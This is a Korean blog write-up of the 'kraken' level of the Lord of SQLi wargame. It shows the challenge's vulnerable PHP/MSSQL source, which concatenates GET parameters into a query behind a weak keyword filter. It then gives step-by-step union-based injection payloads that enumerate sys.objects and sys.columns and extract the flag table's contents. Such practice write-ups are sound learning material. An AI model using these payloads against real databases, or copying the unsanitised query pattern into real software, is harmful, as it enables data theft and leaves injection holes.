Post

LOS Lv.45 kraken

kraken

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
query : select id from member where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("kraken");
  if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['id']) echo "<h2>{$result['id']}</h2>";

  if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

Solution

sys 필터링이 없어짐. sys.objects, sys.columns 사용 가능.
sys.objects : here
sys.columns : here

1
2
3
4
5
6
처음에 그냥 table 목록을 뽑아오니 a_dummy_table이 나옴.

그래서 테스트 환경에서 5개의 테이블을 생성하고 
아래처럼 offset 안의 값을 증가시키면 한 개씩 반환됨을 확인.

이를 이용해서 flag로 시작하는 테이블을 찾으면 됨.
1
select name from sys.objects where type='U' order by name offset 0 rows fetch next 1 rows only

order by 할 때 name으로 하면 안됨. 이유는 결과로 나올 컬럼은 id 이기 때문임.

1
2
?id=' union select name from sys.objects where type='U' order by id offset 1 rows fetch next 1 rows only --%20
-> flag_ccdfe62b
1
2
3
4
5
이제 flag_ccdfe62b의 object_id를 알아낼꺼임.
?id=' union select object_id from sys.objects where name='flag_ccdfe62b' --%20
-> 901578250

object_id를 통해 table 구별을 해줄꺼임. -> 고유 값이라 가능
1
2
3
이제 column 이름을 뽑아올꺼임
?id=' union select name from sys.columns where object_id='901578250' --%20
-> flag_ab15b600
1
2
3
4
table 이름과 column 이름을 모두 알아냈으므로 flag를 뽑으면 됨.

?id=' union select flag_ab15b600 from flag_ccdfe62b --%20
-> FLAG{a0819fc56beae985bac7d175c974cd27}
This post is licensed under CC BY 4.0 by the author.